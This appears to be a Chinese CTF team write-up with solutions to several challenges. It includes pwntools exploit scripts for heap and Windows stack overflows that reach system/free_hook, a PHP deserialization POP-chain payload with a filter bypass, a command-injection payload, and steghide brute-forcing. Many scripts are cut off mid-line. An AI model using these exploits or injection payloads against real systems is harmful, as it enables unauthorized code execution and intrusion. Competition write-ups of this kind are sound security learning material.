工作量证明,很简单,脚本直接爆破
1000钱可以买flag
流程:
1.随便一个账号先转账给先前注册了的账号,得到密文,因为是ecb加密,且直接拼接密文,可以获得本账户的身份密文。
2.查看交易记录,提取交易记录到账用户和金额的密文。伪造交易记录进行交易,将其他用户的钱转到自己帐户
3.买flag
from pwn import *import stringfrom hashlib import *from time import *#context(log_level="debug")seed = string.printabledef aaa(head,tail):#print head,tailst1 = string.printablefor i in st1:for j in st1:for k in st1:tmp = i + j + kshaaa = sha256(tmp+head)#print shaaa.hexdigest(),tailif shaaa.hexdigest() == tail:return tmpp = remote('39.101.134.52',8005)sha = p.recvuntil('XXX:').split("\n")[0]tmp1 = sha.find('+')tmp2 = sha.find(' ')head = sha[tmp1+1:tmp2-1]mid = sha[tmp2:]tail = mid[mid.find("=")+3:]result = aaa(head.strip(),tail.strip())#print resultp.sendline(result)sleep(0.2)p.recv()p.sendline('icq1d32a79f249369198eafd015dee55
1.流量包查看http,访问网站http://39.99.247.28/fonts/1获取
2.将网站密文日志写入文件,解密流量包的加密流量,发现新的png,最底下很多base64加密密文,解密获取flag
3.上一步文件底下还有很多base64,解密后为三位二进制代码,全部提取长度为3600,可以转成二维码。(脚本在下面)
扫码的到新的地址,下载是新的图片。判断为jphide隐写,steghide爆破密码为power123,使用jphs解密,得到flag和新地址
4.扫码的到新的地址,下载一个压缩包里面很多内容,level5.png无法直接提取,但是可以直接foremost出来。
5.level6.zip里面三个文件,但是都很小,考虑直接crc碰撞。碰撞成功得到flag。(脚本在下面)
6.level5.zip中有1.png,而且level7.zip中也有,考虑明文攻击。7zip普通压缩一下1.png然后就能跑出来解密的压缩包。
两张图片,一张很大一张很小,考虑盲水印,但是python2跑脚本跑不出来,必须使用python3才能跑出来。
7.上一步的到网址访问。直接下载html发现有多余数据,考虑html隐写(snow)。
网页中有提示,密码为括号内内容no one can find me,网站http://fog.misty.com/cgi/snow解密
8.最终拼接7部分为flag
二维码
#coding=utf-8from PIL import Imagex = 60 #x坐标 通过对txt里的行数进行整数分解y = 60 #y坐标 x * y = 行数pic = Image.new("RGB",(x, y))data = "00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111111111111000
web辅助
操作内容:
1、common.php中的read和write函数,
调用后读出有一个5字符变3字符的字符逃逸问题。所以在进行反序列化的时候,还会继续向后读取,这样序列化的结果就完全不一样了。
2、构造pop链
topsolo类的TP方法进行对象调用--》触发midsolo的__invoke方法然后触发Gank方法--》stristr是对字符串的操作触发了jungle类的__toString方法达到输出flag的目的
3、源码中class.php中出现了四个类,player,topsolo,midsolo,jungle,除了player类其他三个类中都出现了一个name属性,然后看到common.php中有check函数有对这个name字符串进行限制:
if(stristr($data, 'name')!==False){die("Name Pass\n");}else{return $data;}
需要绕过stristr对name的检测:
这里可以通过序列化时将s改为S,php序列化中为了避免信息丢失,支持当使用大写S时,此时这个字符串就支持将后面的字符串用16进制表示。
4、payload构造
$jun=new jungle(NULL);$mid=new midsolo($jun);$top=new topsolo($mid);$payload=(serialize($top));//O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";N;}}}
5、计算逃逸点
一点点试,
最后固定username的值为\0*\0为22组,则可以逃逸出44个字符
构造pass属性的值:
;"AAAAAAAAAAAAAAAAAAA";s:8:"%00*%00admin";O:7:"topsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":1:{S:7:"\00*\00\6e\
ban了flag关键字,直接使用grep命令,无需使用flag
payload:127.0.0.1;grep -r fl
flag{I_like_qwb_web}
edit存在整数溢出,可以越界写。用 opendir 函数在堆上创建一个DIR结构体,利用 edit 修改 offset 字段指向 unsorted bins 堆块,然后调用 readdir 返回堆块并泄漏上面的libc地址。
首先释放8个 0x90 堆块,填满 tcache 并将其中一个堆块放进 unsorted bin。unsorted bin 堆块上有 main_arena 地址。
for i in range(8):add(i, 0x80)add(0xf, 0x80)for i in range(8):free(i)
然后利用 edit 功能修改堆上 DIR 结构体指向 unsorted bin 堆块。
# dirp->size = -1edit(0, 8, (0x555555757270-0x55555575f600), p64(-1, signed=True))# dirp->offset = 0x83ededit(0, 8, (0x555555757270-0x55555575f600)+8, p64((0x55555575f690-0x555555757290)-0x13))# dp->d_ino = 0x414141edit(0, 0x80, 0, b'A'*0x80)
然后调用 readdir 泄露 main_arena 地址。
readdir()p.recvuntil("Filename: ")libc.address = u64(p.recv(6) + b'\x00\x00') - (0x7ffff7dcfca0-0x7ffff79e4000)
再次利用 edit 功能将 tcache fd 改成 free_hook 地址。分配得到 free_hook 地址后,写入 system 函数地址。最后调用 free 函数 getshell。
edit(0, 8, (0x555555757088-0x55555575f600), p64(libc.symbols["__free_hook"]))add(1, 0x80)edit(1, 8, 0, p64(libc.symbols["syst
windows 下简单的栈溢出,rop过程比较复杂,code段可用gadget太少,可以先泄露栈上一个ntdll的地址,然后就可以使用ntdll里面丰富的gadget了。和linux系统不同,这里好像没有plt函数的概念,因此调用来自ucrtbase的函数时候要借助以下两条gadget。
mov_rax_rax = ntdll_base + 0xbbd33 #0x00000001800bbd33: mov rax, qword ptr [rax]; ret;call_rax = ntdll_base + 0xa479d #0x00000001800a479d: call rax; nop; add rsp, 0x28; ret;
思路是先通过泄露iat表上ucrtbase库函数地址puts,算ucrtbase的基地址,然后知道system地址以后就可以system("/cmd")。做法还是比较直接,就是winddbg preview的环境配置比较坑。而且windows不像linux可以直接加载自定义的动态库,打远程的时候偏移还得重新改。
from winpwn import *import syscontext.log_level = "debug"# p = process(["./StackOverflow.exe", "1"])p = remote("39.99.46.209", 13389)cyclic = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaad
mmap edit的地方有个瞎写的检查,可以直接越界写libc上面的内容,直接改free_hook,system("/bin/sh")结束。
from pwn import *import recontext.terminal = ['tmux', 'splitw', '-h']context.arch = 'amd64'context.log_level = "debug"env = {'LD_PRELOAD': ''}if len(sys.argv) == 1:p = process('./oldschool')elif len(sys.argv) == 3:p = remote(sys.argv[1], sys.argv[2])bp_list = []se = lambda data :p.send(data)sa = lambda delim,data :p.sendafter(delim, data)sl = lambda data :p.sendline(data)sla = lambda delim,data :p.sendlineafter(delim, data)sea = lambda delim,data :p.sendafter(delim, data)rc = lambda numb=4096 :p.recv(numb)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu32 = lambda data :u32(data.ljust(4, '\0'))uu64 = lambda data :u64(data.ljust(8, '\0'))info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))# g
先简单写写,后面有时间补齐。需要写反汇编器读出pass的逻辑,基本就是通过xor来简单加密,进去主逻辑后会有简单栈溢出,可以控pc。问题就是虚拟机内部的code段和data段是严格分离的,不能直接跳shellcode。但是image内部无用代码可以扫出完整的pop ret和syscall gadget,拼起来可以做rop直接open read write读flag。
反汇编以及扫gadget的脚本:
from VM_Disassembler import VM_Disassemblerimport structfrom io import openimport redef bytes_to_word(val_bytes):return val_bytes[0] + 0x100 * val_bytes[1]def bytes_to_int(val_bytes):val = 0for byte_val in val_bytes[::-1]:val *= 0x100val += byte_valreturn valdef offset_to_addr(offset):vm_start = 0x1190return offset - vm_startdef get_imm(hi, data):if hi == 0x10:return data[0]elif hi == 0x20:return bytes_to_word(data)elif hi == 0x30:return bytes_to_int(data[:4])elif hi == 0x40:return bytes_to_int(data[:8])regs = ['r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15','rdi', 'rsi', 'rbp', 'rbx', 'rdx', 'rax', 'rcx', 'rsp', 'rip', 'efla
打开流量包,提示steghide,post了一个图片
使用tcpxtract分离图片
steghide爆破,密码123456
网上的脚本
#bruteStegHide.sh#!/bin/bashfor line in `cat $2`;dosteghide extract -sf $1 -p $line > /dev/null 2>&1if [[ $? -eq 0 ]];thenecho 'password is: '$lineexitfidone
flag{te11_me_y0u_like_it}